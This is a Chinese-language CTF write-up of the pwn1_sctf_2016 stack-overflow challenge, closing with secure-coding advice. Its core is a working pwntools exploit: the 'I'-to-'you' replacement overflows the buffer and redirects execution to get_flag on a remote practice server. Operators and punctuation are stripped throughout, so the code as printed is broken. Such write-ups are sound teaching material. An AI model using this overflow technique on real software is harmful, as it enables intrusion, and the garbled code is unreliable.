别光看exp!深入理解pwn1_sctf_2016中C++字符串替换引发的栈溢出
从C字符串替换到栈溢出pwn1_sctf_2016漏洞的深层解析当我们在CTF比赛中遇到一个看似简单的栈溢出题目时往往会习惯性地寻找明显的缓冲区溢出点。但pwn1_sctf_2016这道题却巧妙地利用了C字符串处理的特性将简单的I替换为you操作转化为一个精妙的漏洞利用场景。本文将带你深入理解这个漏洞背后的机制而不仅仅是停留在exp的构造层面。1. 漏洞环境与初步分析首先让我们搭建分析环境并了解基本保护机制。题目提供的二进制文件是一个32位的ELF可执行文件使用checksec检查保护措施$ checksec pwn1_sctf_2016 [*] /tmp/pwn1_sctf_2016 Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)关键保护措施分析NX enabled堆栈不可执行意味着我们不能直接在栈上执行shellcodeNo canary没有栈保护栈溢出是可能的No PIE代码段地址固定便于ROP链构造在IDA中反编译后我们能看到几个关键函数get_flag()直接调用system(cat flag.txt)main()简单地调用vuln()函数vuln()包含主要漏洞逻辑的函数2. C字符串处理机制剖析题目最核心的部分在于vuln()函数中的字符串处理逻辑。让我们先理解C的std::string实现机制。2.1 std::string的内存管理现代C中的std::string通常采用COWCopy-On-Write或SSOSmall String Optimization策略。在这个题目中我们看到如下关键代码片段std::string input; std::string replace_result; std::string to_replace(I); std::string replacement(you); // 用户输入读取到input fgets(buffer, 32, stdin); input buffer; // 执行替换操作 replace_result replace(input, to_replace, replacement); // 关键漏洞点 strcpy(buffer, replace_result.c_str());std::string在32位系统中的典型内存布局偏移量内容大小0长度/容量信息4B4数据指针/内联数据4B当字符串较短时可能直接存储在对象内部SSO较长时则在堆上分配内存。题目中使用的GCC版本可能采用如下内存策略字符串长度≤15字节使用SSO直接存储在对象内部字符串长度15字节在堆上分配内存2.2 Name Mangling与函数调用IDA中看到的奇怪函数名如__ZNSsC1EPKcRKSaIcE是C的名称修饰Name Mangling结果。这是因为C支持函数重载、命名空间等特性编译器需要将函数签名编码到名称中。使用cfilt工具可以解码这些名称$ cfilt __ZNSsC1EPKcRKSaIcE std::basic_stringchar, std::char_traitschar, std::allocatorchar ::basic_string(char const*, std::allocatorchar const)关键函数解析修饰名实际含义__ZNSsC1EPKcRKSaIcEstd::string的构造函数__ZNSsaSEPKcstd::string::operator(char const*)__ZNKSs5c_strEvstd::string::c_str()3. 漏洞触发机制详解3.1 替换操作的内存影响程序的核心逻辑是将输入中的I替换为you每个I会扩展为三倍大小。考虑以下输入IIIIIIIIIIAAAAAAAAAAAA经过替换后变为youyouyouyouyouyouyouyouyouyouAAAAAAAAAAAA栈布局变化分析阶段缓冲区内容大小总长度输入20字节20B替换后60字节60B3.2 栈布局与溢出路径让我们分析vuln()函数的栈布局s byte ptr -3Ch ; 60字节缓冲区 var_1C byte ptr -1Ch ; replace结果 var_18 byte ptr -18h ; you字符串 var_10 byte ptr -10h ; I字符串内存布局示意图--------------------- | 返回地址 (4B) | - ebp 4 --------------------- | 保存的ebp (4B) | - ebp --------------------- | 局部变量区 | | - s (60B) | - ebp - 0x3C | - 其他变量 | ---------------------关键溢出路径用户输入20个I20字节替换为20个you60字节strcpy将60字节数据复制回原始60字节缓冲区数据溢出覆盖返回地址3.3 精确计算偏移量为了精确控制返回地址我们需要计算填充量缓冲区起始ebp - 0x3C返回地址位置ebp 4需要填充的字节数0x3C 4 64字节因此payload结构应为[60字节填充] [4字节ebp] [4字节返回地址]4. 漏洞利用与ROP构造4.1 利用策略选择由于NX保护开启我们无法执行栈上的代码。但题目提供了get_flag函数可以直接返转到该地址.text:08048F0D get_flag proc near .text:08048F0D push ebp .text:08048F0E mov ebp, esp .text:08048F10 sub esp, 18h .text:08048F13 mov dword ptr [esp], offset command ; cat flag.txt .text:08048F1A call _system .text:08048F1F leave .text:08048F20 retn4.2 完整利用代码from pwn import * context(archi386, oslinux) # 本地测试 # p process(./pwn1_sctf_2016) # 远程连接 p remote(node4.buuoj.cn, 29982) # 构造payload payload bI*20 # 20个I将被替换为60字节的you payload bA*4 # 覆盖保存的ebp payload p32(0x08048F0D) # get_flag地址 p.sendline(payload) p.interactive()4.3 利用过程详解输入阶段发送20个I和4个A加上返回地址替换阶段程序将I替换为you扩展为60字节复制阶段strcpy将60字节数据复制回栈缓冲区溢出生效60字节填充4字节ebp覆盖4字节返回地址覆盖函数返回执行流跳转到get_flag5. 漏洞防御与安全编程5.1 漏洞根源分析这个漏洞的产生有多个层次的原因不安全的字符串替换未考虑替换后的长度增长危险的strcpy使用没有长度限制的字符串复制缺乏边界检查未验证替换后的字符串长度5.2 安全编程建议危险做法std::string input; char buffer[60]; // 未检查长度的替换 strcpy(buffer, input.c_str());安全改进方案使用长度受限的复制函数strncpy(buffer, input.c_str(), sizeof(buffer)-1); buffer[sizeof(buffer)-1] \0;替换前检查长度size_t new_length calculate_replaced_length(input); if(new_length sizeof(buffer)) { // 处理错误 }使用现代C特性std::arraychar, 60 buffer; std::string_view sv input; std::copy_n(sv.begin(), std::min(sv.size(), buffer.size()-1), buffer.begin()); buffer.back() \0;5.3 防御措施对比防御措施优点缺点strncpy简单易用不保证null终止snprintf格式化安全性能开销C容器类自动管理内存需要C环境自定义长度检查函数完全控制实现复杂度高在实际开发中最推荐的做法是使用现代C的容器和算法避免直接操作原始内存和C风格字符串。
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2509739.html
如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!